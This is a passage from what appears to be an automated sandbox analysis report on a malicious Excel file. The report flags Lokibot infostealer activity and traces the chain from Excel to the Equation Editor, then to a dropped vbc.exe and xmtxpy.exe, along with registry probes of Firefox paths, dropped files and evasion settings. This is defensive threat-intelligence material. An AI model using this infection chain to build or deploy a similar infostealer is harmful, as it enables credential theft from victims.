Source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403225 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

4_2_00403225

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040604C	4_2_0040604C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00404772	4_2_00404772
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008AEFA9	5_2_008AEFA9
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B50C2	5_2_008B50C2
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B68A1	5_2_008B68A1
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B50C2	5_2_008B50C2
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B5634	5_2_008B5634
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B786D	5_2_008B786D
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B39AC	5_2_008B39AC
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B5634	5_2_008B5634
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B4B50	5_2_008B4B50
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008B4B50	5_2_008B4B50
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_001209FB	5_2_001209FB
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_0040549C	6_2_0040549C
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_004029D4	6_2_004029D4
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B50C2	6_2_008B50C2
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B68A1	6_2_008B68A1
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B50C2	6_2_008B50C2
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B5634	6_2_008B5634
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B786D	6_2_008B786D
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B39AC	6_2_008B39AC
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B5634	6_2_008B5634
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008AEFA9	6_2_008AEFA9
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B4B50	6_2_008B4B50
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008B4B50	6_2_008B4B50

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: String function: 008AFF50 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\xmtxpy.exe DE398BE02D5ABE9C8BCE84380AC5303EA00FC00820A50CAD007220F24538B3DE

Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior

Source: _2201S_BUSAN_HOCHIMINH_.xlsx	Virustotal: Detection: 35%
Source: _2201S_BUSAN_HOCHIMINH_.xlsx	ReversingLabs: Detection: 32%

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd	Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 6_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

6_2_0040650A

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$_2201S_BUSAN_HOCHIMINH_.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD613.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@8/27@81/3

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00402012 CoCreateInstance,MultiByteToWideChar,

4_2_00402012

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404275 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

4_2_00404275

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Data Obfuscation

Yara detected aPLib compressed binary

Source: Yara match	File source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.xmtxpy.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xmtxpy.exe PID: 2260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xmtxpy.exe PID: 2556, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008AFF95 push ecx; ret	5_2_008AFFA8
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_00402AC0 push eax; ret	6_2_00402AD4
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_00402AC0 push eax; ret	6_2_00402AFC
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008AFF95 push ecx; ret	6_2_008AFFA8

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00405DA3 GetModuleHandleA,LoadLibraryA,GetProcAddress,

4_2_00405DA3

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File created: C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 5_2_008AEFA9 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_008AEFA9

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
